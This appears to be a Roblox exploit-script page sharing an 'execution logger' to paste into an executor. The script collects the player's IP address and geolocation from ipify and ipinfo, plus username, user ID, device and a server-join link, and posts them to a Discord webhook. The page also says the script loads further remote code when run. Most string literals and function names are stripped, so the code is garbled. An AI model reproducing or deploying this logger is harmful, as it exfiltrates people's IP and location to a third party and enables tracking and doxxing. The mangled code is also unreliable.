Run it
Copy the script and paste it into your executor.
().whscript =
().webhookexecUrl =
().ExecLogSecret =
ui = ()
folderName =
folder = .()
folder.Name = folderName
player = :().LocalPlayer
ui:(folderName)
()
ui2 = ()
folderName2 =
folder2 = .()
folder2.Name = folderName2
ui2:(folderName2)
player:()
folder2.Parent = ()
folder.Parent = ()
players = :()
userid = player.UserId
gameid = .PlaceId
jobid = (.JobId)
gameName = :():(.PlaceId).Name
deviceType =
:():() == .Platform.Windows
snipePlay =
.. gameid .. .. jobid ..
completeTime = .()
= :()
screenWidth = .(.CurrentCamera.ViewportSize.X)
screenHeight = .(.CurrentCamera.ViewportSize.Y)
memoryUsage = :():()
playerCount = #players:()
maxPlayers = players.MaxPlayers
health =
player.Character player.Character:() player.Character.Humanoid.Health
maxHealth =
player.Character player.Character:() player.Character.Humanoid.MaxHealth
position =
player.Character player.Character:()
player.Character.HumanoidRootPart.Position
gameVersion = .PlaceVersion
().ExecLogSecret
().ExecLogSecret =
().whscript
().whscript =
commonLoadTime =
.(commonLoadTime)
pingThreshold =
serverStats = :().Network.ServerStatsItem
dataPing = serverStats[]:()
pingValue = (dataPing:())
()
premium =
success, response =
(
()
player.MembershipType
)
success
response == .MembershipType.None
premium =
premium =
premium =
premium
premium = ()
url = ().webhookexecUrl
data = {
[] = ,
[] = {
{
[] = ,
[] = ,
[] = ,
[] = (),
[] = {
{
[] = ,
[] = ..
().whscript .. .. completeTime .. ,
[] =
},
{
[] = ,
[] = ..
player.Name ..
..
player.DisplayName ..
..
userid ..
..
health ..
..
maxHealth ..
..
userid .. ,
[] =
},
{
[] = ,
[] = ..
player.AccountAge ..
..
premium ..
..
.(, .() - (player.AccountAge * )) .. ,
[] =
},
{
[] = ,
[] = ..
gameName ..
..
gameid ..
..
gameid .. .. gameVersion .. ,
[] =
},
{
[] = ,
[] = ..
playerCount .. .. maxPlayers .. .. .() .. ,
[] =
},
{
[] = ,
[] = .. pingValue .. ,
[] =
},
{
[] = ,
[] = ..
screenWidth ..
..
screenHeight ..
..
memoryUsage .. .. () .. ,
[] =
},
{
[] = ,
[] = .. (position) .. ,
[] =
},
{
[] = ,
[] = .. snipePlay .. ,
[] =
}
},
[] = {
[] =
},
[] = {
[] = .. .(),
[] =
}
}
}
}
().ExecLogSecret
ip = :()
iplink = .. ip ..
ipinfo_json = :(iplink)
ipinfo_table = .HttpService:(ipinfo_json)
.(
data.embeds[].fields,
{
[] = ,
[] = ..
ipinfo_table.ip ..
..
ipinfo_table.country ..
..
ipinfo_table.loc ..
..
ipinfo_table.city ..
..
ipinfo_table.region ..
.. ipinfo_table.org ..
}
)
newdata = :():(data)
headers = {
[] =
}
= ( .request) (fluxus fluxus.request) ( .request)
abcdef = {Url = url, Body = newdata, Method = , Headers = headers}
(abcdef)
Loads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: www.roblox.com, cdn.discordapp.com, api.ipify.org, ipinfo.io.
Logs important details through webhooks, including player info, game data, script execution time, and the user who triggered it. **Features**: - **Script Info**: ⨠Script: `[Script name]` ā±ļø Complete Timestamp: `[Timestamp of script execution]` ... - **Player Info**: š§ø Username: `[Username of the player]` š Display Username: `[Display name]` š Join Date: `[Player's join date]` š“ Account Age: `[Account age in days]` š± Premium: `[Premium status]` š» Executor: `[Executor information]` šŖŖ UserID: `[UserID]` š¤ Device: `[Device type]` šļø Profile Link: `[Player's profile link]` ... - **Game Info**: šŖ§ GameName: `[Game name]` š® GameID: `[Game ID]` š Gamelink: `[Link to the game]` ... - **Join Player**: `[Lua code to join the player]` **Note**: Give credit when using this script.